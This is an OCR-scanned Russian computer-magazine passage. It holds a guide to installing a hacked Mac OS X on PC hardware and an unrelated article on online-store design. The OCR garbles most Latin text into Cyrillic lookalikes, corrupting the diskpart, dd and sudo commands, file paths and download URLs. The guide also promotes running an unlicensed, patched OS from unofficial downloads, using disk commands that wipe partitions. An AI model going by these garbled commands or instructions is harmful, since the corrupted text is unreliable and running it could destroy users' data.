Эага/іп Вооі Мепц. В общем, победно 
жмем «Епіег». 
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мші.арріе.сот/тастіпі — самый де - 



шевый Мак за 499 вечнозеленых. Тебе 



может понравиться эта операционка. 



и. возможно, ты захочешь пользовать - 



ся ей на оригинальном оборудовании. 













ЧЕГО 

НАМ ЖДАТЬ 
НА САМОМ 
ДЕЛЕ? 



Есть пара теорий по поводу взлома Мас08 X для РС. Считается, 
что теперь постепенно будут находить новые способы установки. 
Тогда Арріе ничего не останется делать, как начать выпускать 
эту ось для всех компов независимо от железа. Хотя это не факт, 
потому что Арріе-железо тоже очень важно для продаж компании, 
и они собираются его дальше продвигать в массы. Как, например, 
проект іРоа. Ось специально затачивается под такое железо и поэ- 
тому работает лучше. Например, мониторы Арріе более контраст- 
ные и светлые, чем большинство мониторов для РС. Мак практи- 
чески моментально выходит из спящего режима. В то время как 
в ѴѴіік1о\ѵ8 надо долго ждать, пока он загрузит все приложения. 



ГіпаІ Си! Рго — на дан- 
ный момент лучшая 
программа для монта- 
жа видео. Стандарт 
киноиндустрии по все- 
му миру. Существует 
только для 05 X. 
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РС_20МЕ ///// І381ІЕ 



выбираем диски 
и жмем гезіоге 



выбираем нужный нам 
диск и жмем Вераіг Эізк 
Регтіззіопз 



меняем аккаунты 




Вскоре должно будет появиться инстал- 
ляционное меню. Не стоит сразу быст- 
ро перескакивать его и думать, что 
дальше все будет понятно. Еще придет- 
ся немного поработать. Жмем ІИІІІІІез -> 
йізк ІІШІу и ищем там наличие дисков 
(рагііііопз), если какие-то уже есть на 
твоем харде, то придется их все удалить 
и сравнять. Придется удалить и все раз- 
делы, которые там есть. После этого 



создаем новый раздел. Далее смело (но 
зная, что вся информация на твоем хар- 
де будет утеряна) жмем «рагйіоп». 
Теперь уже можно продолжать нажи- 
мать кнопки, чтобы пройти дальше. 
Выбери раздел, в который хочешь 
поставить ось, и вперед. 

Теперь выбирай значок раздела и жми 
«сопііпие». Выбрав «сизіотіге», можно 
убрать ненужные драйвера, а также Хсобе 



(ооіз, которые там нужны только для напи- 
сания кода, так как мы устанавливаем все- 
таки ось, созданную для разработки этого 
самого кода, а нам этого не надо. 

Жмем «іпзіаіі» и начинаем улыбаться 
(давно я не вставлял примечания, но 
эта фраза меня убила! :) — Прим. 
ЬООМІк) и ждать. 

Не забудь вынуть диск при перезаг- 
рузке. Ось готова к работе. 



СПОСОБ 

ВТОРОЙ 

(РАВТІТІОЫ 

МАѲІС) 



При помощи этого способа можно 
пользоваться маковской осью (на од- 
ном компе с окошками). Или, как при- 
нято говорить, Эиаі Вооі. Для этого на- 
до скачать файл, который тоже ходит 
почти на всех ресурсах с именем 
«Іідег-х86.1аг.Ьд2». После установки 
он открывается ѴѴІпНаг'ом. Опять же в 
нем будет «Іідег-х86-Иа1.ітд». Пока что 
оставь это на своем рабочем столе. 
Для начала нам надо будет разбить 
диск. Как ты уже давно знаешь, лучшая 
и самая безопасная прога для этого — 
РаПІІІоп Мадіс. Нам надо будет сделать 
два отдельных раздела, чтобы правиль- 
но установить ось. Для начала надо уба- 
вить размер существующего раздела. 
Для установки понадобится где-то 6,6 Гб. 
Так и делаем. Перезагружаем комп. Ес- 
ли все нормально, то будем создавать 
новые разделы через стб. Жмем Пуск - 
> Выполнить -> стб. Видим всем нам 
знакомую консоль, пишем «бізкраб», 
опять жмакаем Епіег. Дальше надо пос- 
мотреть список, поэтому печатаем «іізі 
бізк» и опять жмем Епіег. Выбираем но- 
мер раздела и пишем «зеіесі бізк 0» (где 
О — диск, который ты предпочитаешь). 
Теперь пишем следующее: 

сгеаіе рагШіоп ргітагу $ііе=6660 
ісІ=аТ 

Этот раздел предназначен для вре- 
менных файлов. Дальше надо соз- 
дать раздел, в который ось будет ус- 
танавливаться. Этот раздел мы рас- 
положим на всем оставшемся месте. 
Поэтому печатаем: 

сгеаіе рагШіоп ргітагу Іс1=а( 

Жмем Епіег и ждем. После этого мож- 
но проверить то, что получилось, ко- 
мандой «Іізі рагііііоп». Если вое ок — 
перезагружаемся. 

Теперь мы должны скопировать «Іідег- 



х86.1аг.Ьі2» в наш основной раздел, то 
есть диск С, и в наш временный раз- 
дел, размером 6 Гб. Для этого нам так- 
же понадобится прога, например «бб 
Тог ѵѵіпбоѵѵз». Софтину надо инсталли- 
ровать в тот основной раздел, где уже 
живет «Іідег-х86.1аг.Ь22». Лучше, чтобы 
файл и прога были наверху всех папок. 
Снова запускаем консоль. Переклю- 
чаемся на диск С (командой сб с:). 
Далее пишем: 

сШ І1=с:1ідег-х86-11а1.ітд 
о!=\?\Оеѵісе\Наг(ШізкО\РагШіоп2 
Ьз=51 2 $кір=63 

После этого надо будет немного по- 
дождать. Процесс занимает какое-то 
время, поэтому не стоит бояться, что 
все повисло. После того как все за- 
кончится, закрываем консоль. 
Дальше качаем файл сЬаіп О 
( цѵѵѵѵѵ.ЗбОІіаскег.пеІ/сІіаіпО.гаг Т Со- 
держимое архива помещаем поверх 
всех папок на диске С. Он будет отве- 
тственный за загрузку оси в самом 
начале. Находим файл «Ьооі.іпі». 
В конце добавляем строчку 

С:\сііаіпО=«Мас 05 X» 

Чтобы проверить, все ли ты сделал 
правильно, можно пойти в «тзсопіід» и 
в закладке «Ьооі.іпі» нажать на провер- 
ку путей загрузки. Перезагружаемся. 
Заходим снова в уже наболевшие 
окошки (терпение, мы близки к цели!). 
Первый раз устанавливать систему мы 
будем на тот самый временный раздел 
размером 6 Гб, потому что эта версия 
рассчитана только на такой размер, и 
только 2 Гб — на свободное место. Но 
мы это исправим позже, когда все пос- 
тавим на третий раздел, и там уже не 
будет ограничения по размеру. Для 
этого надо скачать Яблочную систему 
Эага/іп. Ее можно легко и бесплатно 



скачать в инете. После этого записы- 
ваем диск и перезагружаемся с диска. 
При запуске программы выбираем 
третий раздел для установки. После 
процесса должна снова появиться 
консоль. Пишем «гебооі» и перезагру- 
жаемся уже без диска. 

При загрузке появится Ьооі-меню, вы- 
бираем МасОЗ X. Все должно запус- 
титься. Теперь нам надо скопировать 
систему из раздела в раздел. Жмем 
Арріісаііопз -> ІИІІІІІез -> Эізк ІЛІІІІу. Вы- 
бираем раздел, выбираем вкладку 
«Везіоге» наверху. То есть мы «восста- 
новим» содержание временного раз- 
дела в новом. В раздел «зоигое» пере- 
таскиваем второй временный раздел, 
а на «безііпаііоп» перетаскиваем тре- 
тий. Жмем «Везіоге», после этого, ты 
угадал, снова перезагружаем систему. 
Последний раз заходим в форточки 
и удаляем второй временный раздел. 
В стб пишем сведущие команды: 

1) Оізкрагі 

2) І_І5І 

После этого выбираем сам диск. Поэ- 
тому печатаем: 

1) зеіей сіізк О 

2) зеіесі рагШіоп 2 

3) сіеіеіе рагШіоп 

После этого опять стб -> бізктдті.тзс. 
Там будет показано лишнее место, 
жмем правой кнопкой и выбираем но- 
вый раздел, жмем три раза «далее» 
и под системой форматирования вы- 
бираем ЕАТ32. Ни в коем случае не 
мелкомягкий ЫТЕЗ, а то Мак накроет- 
ся медным тазом от испуга. После то- 
го как процесс завершится, выключа- 
ем комп. Отдыхаем. Снова включаем. 
Заходим в ОЗ X. Смотрим на краси- 
вый дизайн и радуемся. Теперь чита- 
ем, как настроить систему. 
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уѵѵуці.ѵѵіпзурегзііе.сот/зііоцісазе/ѵѵіпѵізіа Ьеіаі ѵз Ііаег ОІ.азр 



статья, которая сравнивает 05 X с ѴѴІпсІожз Ѵізіа. 
Для знающих английский должно быть занятно. 
чѵѵѵи.озх86ргоіесІога 
хорошие новости по теме. 



ИІІр://шікі.озх8бРгоіес1.ого/шікі/іп[іех.рІш/НСІ_ 
список совместимых компов, а также информация 
о том, что и как на них будет работать. 



Іі11р://жікі.озх86ргоіес1.ога 

на данный момент лучший ресурс по установке МасОБ на х86, 
есть мануалы установок и спискок совместимого железа. 



«тт.хрІосІепеІ.сот/Ыоа 

еще один неофициальный сайт с новостями 

и простыми мануалами для инсталляции. 

уітм.тікеозх.сот 

русскоязычная страница об 05 X. 



Сначала может показаться, что ось работает нормально, но 
есть еще много способов хорошо ее разогнать и подправить. 
Почти у всех версий, которые можно найти в инете, юзер- 
нейм будет беабтоо, а пароль — Ьоѵіпііу. Это стоит испра- 
вить и просто создать новый аккаунт. В меню Арріе в левом 
верхнем углу жмем Зузіепп Ргеіегепсез, потом — Ассоипіз. 
Дальше в правом нижнем углу будет «замок» — нажми на не- 
го. Когда спросят пароль, естественно, вводи Ьоѵіпііу, вверху 



«замка» будет кнопка «+» — жми ее, а чтобы создать новую 
учетную запись или аккаунт, заполни его и жми «сгеаіе 
ассоипі». После чего жми «І_одіп Орііопз», вверху — «ч-». 
Отключи опцию «Аиіотаіісаііу Іод іп аз». 

Закрываем все окна, и снова заходим в Арріе-меню, где 
жмем «Іод оиі». Заходим в систему с новым акканутом и 
опять идем в Зузіет Ргеіегепсез, где удаляем беабтоо, на- 
жимая «-» рядом с ним. Жмем «Эеіеіе Іттесііаіеіу». 



У МасОЗ, которую мы установили, есть файл под названи- 
ем АрріеТРМАСРІ.кехІ. Он как раз ищет тот самый Яблоч- 
ный Интеловский Чип (ТРМ), который должен у нас прису- 
тствовать. Он его ищет и при этом задействует много ре- 
сурсов. Поэтому его надо просто удалить. Открываем 
«Ііпсіег», идем в /ЗузІет/иЬгагу/ЕхІепзіопзІ и удаляем его. 
После этого перезагружаемся. 



Также можно удалить файл АрріеІпІеІ830.кехІ (это акти- 
визирует графические способности оси), и все станет 
двигаться и смотреться лучше. Только это не со всеми 
видеокарточками работает. Поэтому через «Ііпсіег» идем 
в /ЗузІет/иЬгагу/ЕхІепзіопз. Стоит скопировать файл на 
десктоп, чтобы перестраховаться, так что переносим его 
туда мышкой, удаляем файл и ребутаемся. 



После наших с тобой махинаций система будет немного нестабильна. Особенно удаление отдельных файлов сильно влия- 
ет на ось, поэтому надо отремонтировать диски. Для этого открываем прогу Эізк ІИІІІІу, идем в АррІісаІіопз/ІЛІІШез и выбира- 
ем в левом боку раздел, в котором располагается ось. Жмем «Вераіг Эізк Регтіззіопз» и ждем, пока процесс закончится. 



У новой системы есть замечательная программа под названием 
Возейа. Она стоит, чтобы конвертировать старый и новый код для 
отдельных программ. Старым считается Роѵі/ег РС — название ли- 
нейки Маков с ІВМ-чипсетами. Некоторые проги еще не перевели 
под новое ядро, поэтому они не будут работать без такого софта. 
Для начала надо скачать так называемое ядро І ѵѵѵлл/.сІазІіЬоагсІІІпе- 
ир.сопл/іюзіесі/тасіі кегпеІ.пеѵ/.гІр У После этого распаковывай 
архив, а папку переименовывай в «тасЬ_кегпеІ_пеѵѵ». Теперь идем 
в Арріісаііопз -> ІЛИІез -> Тегтіпаі. Открывается командная строка. 
Там пишем «сб», жмем пробел, дальше перетаскиваем эту папку 
на окно. Команда должна напечататься сама. После этого там же 
пишем ср тасІі_кегпеІ.пе\/ѵ ~/ОезкІор/тасІг_кетеІ, а потом — ср 
/тасЬ_кегпе! ~ЮезкІор/тасІг_кегпеІ.Ьак. И наконец — зибо ср 
~ЮезкІор/тасІт_кегпеІ /. Обязательно соблюдай все пробелы. 
Жмем «Епіег» и закрываем терминал. Теперь качаем Соге ОгарМсз 
файл ( \л№Ѵ'/.Ьабопао.сот/ІІІе.оИо?ІІІе=СогеОгарЫс5%201ог%20х86 
2005-11-23 СогеОгарИісз.ар) . Распаковываем файл на десктоп. 
Возвращаемся в терминал и пишем: 



тѵ 

-УОезкіор/СогебгарЫсз/бузІет/иЬгаіу/Ргатеѵѵогкз/АррІісаіі 

опЗегѵісез.Ыатешгк/Ѵегзіопз/ТѴРгатешгкз/СогебгарЬісз.І 

гатешгкЛ/егзіопз/А/СогебгарЫсз.Ьак. 

Жмем 017«ЕпІег». Теперь надо ввести строчку: 

ссі /Зузіет/иЬгагу/Ргатеѵѵогкз/АррІісаІіопЗегѵісез.Ргате- 
шгк/Ѵегзіопз/А/Ргатетгкз/СогебгарЫсз.Ігатеѵѵогк/Ѵегзі 
опз/А. 

После этого вводим эти строчки (после каждой не забывай 
жать «Епіег»): 

сЬтосІ 755 СогебгарЫсз.Ьак 
зисіо сігоѵѵп гоокиЬееІ СогебгарЫсз.Ьак 
зисіо тѵ СогебгарЫсз Соге6гарЬісз.і386 
зисіо тѵ СогебгарЫсз.Ьак СогебгарЫсз 

Потом закрываем терминал и перезагружаем компьютер. 



К сожалению, через Интернет никакого апгрейда системы не получится. Она просто будет говорить, что новых обновле- 
ний нет. Но, так как сообщество озх86 постоянно растет, уже выходят неофициальные обновления, о которых размеща- 
ется информация на тематических страницах. Их можно скачать на тех же ресурсах. 



В начале все может казаться неудобным и странным. Одна- 
ко ты можешь бесплатно попользоваться системой, кото- 
рая наконец-то стала прямым и очень опасным конкурен- 
том окошкам. Альтернатива — это всегда хорошо. Может 
быть, от страха теперь ѴѴІпбоѵѵз сделают лучше, быстрее, 
более приятной на глаз и намного безопаснее. Тем более, 
МасОЗ строится на ядре всеми нами любимого РгееВЗЭ. 



Я теперь серьезно подумываю купить себе Мае как вторую 
машину, чтобы на нем делать всю креативную и секретную 
работу и быть спокойным, что у меня не украдут информа- 
цию, моя работа не прервется ошибкой и вся информация 
не потеряется. Это очень весомые качества системы. Я на- 
деюсь, что ты тоже будешь рад такому выбору. 

ВІИДВУ ѴОШѴ5 цц 
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УЧЕБНИК П# АНАТОМИИ 



РС 20ЫЕ 




ТЕХТ ѴѴЕІРЮ АКА БЕРЕНШТЕЙН ЕВГЕНИЙ / ІСО# 52271 5 / 




Б Б ЕЩЕ НЕДАВНО МНОГИЕ РУНЕТОВСКИЕ САЙТЫ ПРЕДСТАВЛЯЛИ СОБОЙ ОБ- 
ЛЕЗЛЫЕ ИНФОРМАЦИОННЫЕ СТРАНИЦЫ. ОЩУЩАЛАСЬ НЕХВАТКА ГРАФИЧЕС- 
КИХ, ДИЗАЙНЕРСКИХ И ПРОВАЙДЕРСКИХ ВОЗМОЖНОСТЕЙ, НО НАСТУПИЛ XXI 
ВЕК, И ТЕПЕРЬ КАЖДОМУ, КТО ХОЧЕТ ВТИСНУТЬСЯ В РЯДЫ ВЛАДЕЛЬЦЕВ ИНТЕР- 
НЕТ-МАГАЗИНОВ, НЕОБХОДИМО БЫТЬ КОНКУРЕНТОСПОСОБНЫМ КАК В ДИЗАЙ- 
НЕ, ТАК И В ПРОГРАММНОЙ ЧАСТИ рр 

ИНТЕРНЕТ-МАГАЗИН СНАРУЖИ И ИЗНУТРИ 






Самый верный способ сделать хороший сайт — брать пример 
с таких лидеров, как шт.гатЫег.т. шт.огоп.т. «тм.теаазііор.ги. 



ПЛАНИРУЕМ 

ИНТЕРНЕТ-МАГАЗИН 



І_ЕТ’3 ѲЕТ ІТ 
5ТАРТЕО 




► ногиѳ, наверное, часто за- 
давались вопросом: зачем 
же нужен интернет-мага- 
зин, чем он удобнее обыч- 
ных гипермаркетов типа 
Рамстора и Ашана? Во-пер- 
вых, многие интернет-мага- 
зины продают товары по 
более низкой цене, нежели 
известные гипермаркеты. 
Сразу возникает вопрос: 
почему? Все потому, что 
владельцу сайта, продаю- 
щему товары через Интер- 
нет, необязательно платить 
деньги за складское поме- 
щение, за его аренду, не 
всегда на продажу товаров 
необходима лицензия. Из 
всего этого можно сделать 
следующий вывод: издерж- 
ки производства сводятся к 
минимуму. Еще очевидным 
плюсом для владельца ѵѵеЬ- 
магазина является то, что 
необязательно иметь офис, 
достаточно нанять курьера 
или иметь машину и сво- 
бодное время. А для клиен- 
тов интернет-магазинов го- 
раздо удобнее сделать за- 
каз, не выходя из дома или 
офиса, и получить товар в 
тот же день прямо в руки. 
Итак, все положительные 
стороны для торговли че- 
рез Сеть налицо. 




► панирование интернет-мага- 
зина является важнейшей 
частью его создания, потому 
что оно позволяет выявить це- 
ли, аудиторию и прочие внеш- 
ние факторы, которые можно 
определить заранее. 

Таким образом, нужно ответить 
самому себе на несколько воп- 
росов, иначе затраченные уси- 
лия могут либо не дать резуль- 
татов, либо полученные резуль- 
таты не будут нас устраивать. 
Прежде всего нужно понять: 
какие действия ты ожидаешь 
от посетителей своего сайта. 
Распространение информации 
о своей фирме (имиджевая 
реклама), о новых технологиях 
и достижениях, новых товарах. 
Можно ведь и продавать но- 
вости и рекламу, не так ли? 
Возможно, ты создаешь мага- 
зин для того, чтобы клиент мог 
оформить покупку, не выходя 
из дома или офиса. Если это 
так, то необходимо решить 
вопрос с доставк-ой. Еще 
очень важно предусмотреть 
будущие способы оплаты 
(Сбербанк, ѴѴеЬтопеу и тд.). 
Все эти мелочи и определяют 
функциональность магазина. 



Далее необходимо исследо- 
вать рынок. Для того чтобы 
проект был успешным, следует 
совершенно четко предста- 
вить себе воображаемый порт- 
рет своего посетителя. Скорее 
даже, не просто посетителя, а 
портрет потенциального кли- 
ента. Кто он, сколько ему лет, 
что он ожидает увидеть, для че- 
го ему нужен твой сайт? Для то- 
го, чтобы лучше узнать потреб- 
ности своего посетителя, неп- 
лохо было бы установить на 
своем сайте небольшой опрос- 
ный лист. Например, «Вопрос 
дня», «Покупаете ли вы товары 
через Интернет?» и т.п. 
Неплохо выяснить, какие аргу- 
менты мы сможем представить 
посетителю своего сайта, что- 
бы доказать свою компетент- 
ность. В чем конкретно клиент 
увидит свой выигрыш, если об- 
ратится именно к нам, а не к 
нашим конкурентам? Какие мы 
можем представить доказа- 
тельства, на какие источники 
информации можем сослать- 
ся, подтверждающие наше 
превосходство? Ну и, конечно 
же, какие льготы мы сможем 
предоставить клиентам? 
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Не стоит забывать, что при написании ріір-скаиптов осо - 
бое внимание следует уделить их безопасности. Лучше 
сразу предусмотреть возможные лазейки и закрыть их. 




ТВОРИМ 

ДИЗАЙН 



МЕЛОЧИ 
В ДИЗАЙНЕ 



ч 

► тобы магазин пользовал- 
ся успехом, он должен 
постоянно обновляться, не 
должен казаться «застыв- 
шим». Если посетитель бу- 
дет уверен в том, что он 
найдет на сайте что-то для 
себя новое, он обязатель- 
но вернется на него. Мож- 
но давать ссылки на инте- 
ресную для клиента ин- 
формацию, которая появ- 
ляется на других сайтах. 
В этом случае клиент нач- 
нет относиться к тебе, как 
к эксперту. Однако стоит 
быть осторожным в этом 
вопросе, нужно обязатель- 
но проследить, не сможет 
ли потенциальный клиент 
попасть по нашей же ссыл- 
ке к нашему конкуренту. 
Задумаемся и над тем, что 
мы можем предложить сво- 
ему потенциальному клиен- 
ту бесплатно. Если мы зани- 
маемся продажей програм- 
мных продуктов, то смело 
предлагаем своим клиентам 
бесплатные демки. Студии 
веб-дизайна в виде бесп- 
латной услуги могут предло- 
жить бесплатную регистра- 
цию в каталогах. Клиент 
должен обязательно предп- 
ринять какое-то действие в 
нашем интернет-магазине. 



Если же у него не появилось 
желание совершить какое- 
то действие немедленно, то 
это желание не появится и в 
дальнейшем. 

Мы не будем говорить о 
баннерах, обмене ссылка- 
ми, регистрациях в катало- 
гах и т.п, так как это само 
собой разумеющееся. Го- 
воря о саморекламе сайта, 
мне бы хотелось напомнить 
о том, что информацию о 
нашем ѵѵеЬ-узле (ІІРИ и Е- 
таіі) необходимо включить 
в визитки, каталоги, бюлле- 
тени, брошюры, деловые 
письма. В наружной рекла- 
ме, в рекламе на транспо- 
ртных средствах, на спецо- 
дежде не забывайте писать 
ІІВІ_ сайта. Иначе говоря, в 
любом месте, где появля- 
ется название нашей фир- 
мы или компании, должен 
появляться адрес интернет 
магазина, если, конечно, у 
тебя есть возможности для 
подобного продвижения. 

А если таких возможностей 
нет, то пугаться не стоит, 
можно раскрутиться прос- 
то через Интернет, без 
внешних факторов, ведь 
главная зона действий в 
нашем случае — Сеть. 



т 

Теперь, когда с необходи- 
мыми банальностями по- 
кончено, беремся за са- 
мую креативную часть раз- 
работки магазина. Есть 
несколько основных пра- 
вил «хорошего тона»... 
Прежде всего простота — 
залог успеха. Вся сила хо- 
рошего дизайна заключа- 
ется в простоте. Если сог- 
ласен с этим утверждени- 
ем, то можешь дальше не 
читать. В противном слу- 
чае, тебе придется осоз- 
нать, что для создания ка- 
чественного дизайна нео- 
бязательно использовать 
РІазЬ, анимацию и голливу- 
дские ОНТМБ-спецэффек- 
ты от МісговоН. Более того, 
иногда это даже вредно. 
Ведь подавляющее боль- 
шинство действительно 
хороших сайтов (необяза- 
тельно магазинов), прежде 
всего содержит интерес- 
ную текстовую информа- 
цию. И, следовательно, ди- 
зайн подчинен содержи- 
мому, а не наоборот. Ос- 
новной показатель про- 
фессионализма в ѵѵеЬ-ди- 
зайне — аккуратность и 
чистота стиля. Откажи се- 
бе в возможности выбора 
разнообразных шрифтов, 
ограничь цвет тремя оттен- 
ками, откажись от анима- 
ции и больших картинок... 
А теперь попробуй приду- 
мать дизайн. Тяжело? А 
как же еще? 

Конечно, это не значит, что 
нужно отказаться от графи- 



ки и сконцентрироваться на 
белом фоне. Нет. Опять-та- 
ки смотрим, для каких целей 
создаем интернет-магазин. 
Например, интенет-магазин 
дизайнерской/хакерской ко- 
манды требует повышенно- 
го содержания графики. 

А вот магазину, который про- 
дает все, то есть у которого 
весьма богатый ассорти- 
мент, например Іпйр://огоп.ги . 
необязательно блистать 
крупными яркими ІІазб-роли- 
ками. Итак, можно сделать 
вывод: графика на сайте — 
это хорошо, вопрос только в 
том, как она будет оптимизи- 
рована и не будет ли это ла- 
мерский набор клипартов... 
Отметим несколько важ- 
ных моментов, на которые 
следует обратить внима- 
ние при создании дизайна. 
Во-первых, сконцентриру- 
емся на расположении ин- 
формации на сайте. Основ- 
ной принцип опять-таки — 
наглядность и простота. Ко- 
личество и расположение 
информационных блоков 
зависит от задач, возлагае- 
мых на проект и содержа- 
ние. Например, при созда- 
нии интернет-магазина по 
продаже элитного алкого- 
ля, необходимо в верхней 
час ти «рабочей области» 
вкратце рассказать, почему 
выгодно покупать алкоголь 
именно тут. На видном мес- 
те поместить информацию 
о специальных предложе- 
ниях для баров, рестора- 
нов, оптовых клиентов. ► 



КРОССБРАУЗЕРНОСТЬ 

Как не крути, без кроссбраузерной верстки не обойтись. Надо сделать так, чтобы магазин нормально отоб- 
ражался во всех современных версиях браузеров. Ну не во всех, а, по крайней мере, в основных на сегод- 
няшний день уж точно — ІЕ, Орега, Рігеіох, 8а(агі. Поэтому в данном вопросе лучше не лениться и сделать 
все на совесть. Ведь необязательно упускать клиента, который может принести прибыль гораздо большую, 
чем моральную. При этом стоит учесть тот факт, что, как правило, при грамотном подходе схожесть отоб- 
ражения отслеживается в самом начале создания дизайна, при внесении каждого существенного изменения 
в его структуру (например, новой таблицы или существенной ячейки). 
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^ Во-вторых, необходимо понять, 
как юзер будет «ползать» по сай- 
ту, то есть определиться с навига- 
цией. Если рассматривать взаи- 
модействие человека и машины 
несколько шире, чем набор кно- 
пок, то нужно отметить, что интер- 
фейс — это не только система 
навигации по сайту, но и часть ди- 
зайна, подчиняющаяся своим 
специфичным требованиям. Вое 
функции элементов интерфейса 
должны быть интуитивно понят- 
ны. В рамках одного проекта дол- 
жен использоваться только один 
вариант дизайна интерфейса. 
Интерфейс — это не реклама. Он 
должен быть четко выражен, в 
рамках общей концепции дизай- 
на сайта, но не должен отвлекать 
от содержания страниц. 

В проектах с большим объемом 
информации и сложной структу- 
рой, кроме элементов навигации, 
необходимо использовать эле- 
менты индикации, показывающие 
местоположение данной страни- 
цы в структуре сайта. Нужно соб- 
людать и более общие требова- 
ния к дизайну, накладываемые 
физиологией человека. 

Важная информация (элементы уп- 
равления) должны находиться на 
переднем плане. Интерфейс дол- 
жен строиться «вокруг» объектов, 
ради которых создавался сайт. 
Меню, в той или иной степени, 
должно отражать структуру сайта, 
это поможет понять, куда нужно 
идти для получения искомой ин- 
формации. Попав пару раз не туда, 
посетитель, скорее всего, покинет 
магазин, так и не став клиентом. 
При работе с большим объемом 
информации понимание пред- 
почтительней запоминания. 
Кратковременная память челове- 
ка ограничена 7-ю элементами 
информации. Семь — это усред- 
ненное значение, обычно оно ме- 
няется в пределах от 5 до 9. Поэ- 
тому, если есть возможность, 
ориентироваться нужно на циф- 
ру 5, а не 7. Из этого вытекает, 
что в простом меню количество 
пунктов не должно превышать 7. 
Если пунктов меню больше, их 
надо разбить на группы. При 
этом групп должно быть не более 
7 и количество пунктов в одной 
группе не должно превышать 7. 
Что это дает? Если меню сайта 
запоминается при первом взгля- 
де, это сразу помогает понять, о 
чем сайт (в первом приближе- 
нии), какую информацию он со- 
держит, где искать нужную ин- 
формацию. Кроме того, меню 
сохраняется в памяти во время 



работы с сайтом. Что делает ра- 
боту более удобной и понятной. 
Если меню сайта более длинное, 
то не факт, что его дочитают до 
конца. Любая задача должна ре- 
шаться минимальным числом 
действий, логика этих действий 
должна быть очевидной для 
пользователя, движения курсора 
и глаз пользователя должны 
быть оптимизированы 
В-третьих, создавая интернет-мага- 
зин, нужно четко подобрать цвето- 
вую гамму. Цвет — один из самых 
неоднозначных элементов веб-ди- 
зайна. Цвет может подчеркнуть 
контекст, а может и оттолкнуть. 

Для создания эффективного ди- 
зайна необходимо учитывать ряд 
требований, налагаемых на выбор 
цветового решения: текст не дол- 
жен сливаться с фоном, азаголов- 
ки — теряться; использование 
контрастных сочетаний вызываю- 
щих напряжение глаз, также неп- 
риемлемо; необходимо, чтобы цве- 
товое решение соответствовало 
форме подачи материала, его со- 
держанию, аудитории сайта. 

При поиске цветового решения 
важно найти сочетание цветов, 
гармонирующих друг с другом. 
Универсальных решений, приво- 
дящих к 100% успеху нет, но есть 
методики, помогающее добиться 
хороших результатов. 

При подборе сочетания из двух 
цветов можно использовать ме- 
тодику, основанную на свойствах 
цветового круга. Если выбрать 
дополняющие (комплиментар- 
ные) цвета, лежащие на круге 
напротив, то каждый из них будет 
в сочетании с другим ярче и вы- 
разительнее. 

При подборе гаммы из трех цве- 
тов также можно воспользовать- 
ся свойствами цветового круга. 
Наложив на него равнобедрен- 
ный треугольник, получаем три 
цвета, лежащие под вершинами 
треугольника. Это один из самых 
простых способов подбора триа- 
ды гармонирующих цветов. 

Еще один метод, основанный на 
свойствах цветового круга, позво- 
ляет подобрать ряд цветов имею- 
щих разный оттенок. В этом слу- 
чае используют цвета лежащие 
на круге рядом. 

Эти методы подбора цвета мож- 
но использовать как по отдель- 
ности, так и в сочетании друг с 
другом. При этом необязательно 
использовать именно указанные 
сочетания цветов. Дизайн — про- 
цесс творческий, и только креа- 
тивный подход может гарантиро- 
вать успех. 



МЕЛОЧИ 
В ДИЗАЙНЕ 



3 

► апомни, что мелочи 
очень важны! Под мело- 
чами я имею в виду всяко- 
го рода выравнивания, 
мелкие детали и цветовые 
нюансы, а также отсут- 
ствие мелких «паразит- 
ных» деталей и связей. 
Дизайнер, работая над сво- 
им проектом, может потра- 
тить на оттачивание дета- 
лей чуть ли не половину 
всего времени работы над 
ним. Такое положение дел 
может удивить, но это стоя- 
щее занятие. Дело в том, 
что человек рассматривая 
произведения искусства, в 
котором много нюансов, по- 
лучает большое удоволь- 
ствие. Чем больше он смот- 
рит, тем больше деталей он 
обнаруживает. Это занятие 
доставляет разуму эстети- 
ческое удовольствие. Срав- 
нительно бедна нюансами 
реклама. Она нацелена на 
мгновенное восприятие, а 
не на долгое рассматрива- 
ние, как картина. Исклю- 
чением из этого правила 
может стать некоторые из 
телевизионных роликов, 
которые приятно смотреть 
не один раз. 

Поэтому не ленитесь отта- 
чивать детали в своем про- 
изведении. Только обрати- 
те внимание: «оттачивать», 
а не добавлять что-то сов- 
сем новое. Это может на- 
рушить интеграцию. Уме- 
ние расставлять нюансы 
приходит с опытом, и про- 
фессионалы делают это 
практически машинально. 



КАЧЕСТВЕННЫЕ 

ССЫЛКИ 




подбираем со- 
четание мето- 
дом, основан- 
ным на свой- 
ствах цветово- 
го круга, кото- 
рый позволяет 
подобрать ряд 
цветов, имею- 
щих разный 
оттенок 




подбираем 
сочетание из 
двух цветов 
при выборе 
цветового ре- 
шения для 
дизайна 




подбираем 
сочетание 
из трех цветов 
для дизайна 
нашего интер- 
нет-магазина 




► Интернете сложилась такая ситуация, при кото- 
рой практически каждый владелец интернет-мага- 
зина считает себя «крутым дизайнером». Каждый 
владелец более или менее успешного магазина — 
вдвойне. И никто почему-то не хочет прислушивать- 
ся к советам. Ну да ладно, оставим это на их совес- 
ти. А сейчас поговорим лучше о правильных ссыл- 
ках. Во-первых, нужно делать ссылки информаци- 
онно значимыми. Например, что значит ссылка 
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^ «ЗДЕСЬ»? Только нѳ надо говорить, что она хорошо смотрится вместе с текстом. Нет, она и с текстом смотрится отвратительно. 
Второе: ссылка должна быть удобной для чтения. Чтобы ссылка была удобной, она должна состоять не более чем из четырех слов. 
Нив коем случае нельзя допускать на своем сайте то, что сделано на сайте ѵ\лллл/.и1го.ги (практически каждый кусок текста — ссылка), 
в такой ситуации пользователям очень неудобно ориентироваться на сайте, можно попасть мышкой не туда, куда нужно. И ссылка 
должна быть подчеркнутой (это нельзя считать постоянным правилом, но делать ссылки неподчеркнутыми можно только в 25% слу- 
чаев). Дело в том, что пользователи привыкли к тому, что ссылки подчеркнутые. Просто привыкли. И отвыкать не хотят. К тому же под- 
черкнутые ссылки хорошо выделяются среди остального текста. 



ГРОМОЗДКИЕ ТНЕ БА8Т 

ФОРМЫ ТО КЮѴѴ 




Известно несколько проблем, связанных с 
формами. Каких? Формы слишком часто ис- 
пользуются в интернет-магазинах, и они оказы- 
ваются слишком большими, с множеством не- 
нужных вопросов и вариантов. По большому 
счету нам для и/еЬ-приложений требуется нечто 
большее, чем старая метафора приложения. 
А пока пользователям приходится сталкиваться 
с формами, поэтому лучше сделать так, чтобы 
эта встреча прошла как можно безболезненно. 
Вот несколько рекомендаций по этому поводу. 
Сначала удали все лишние вопросы. Затем 
сделай обязательными лишь те поля, которые 
тебе будут точно нужны. 

Далее позаботься о том, чтобы поддерживать 
функцию автозаполнения в браузере. Для это- 



го выбирай для полей в Ітіті-коде обычные име- 
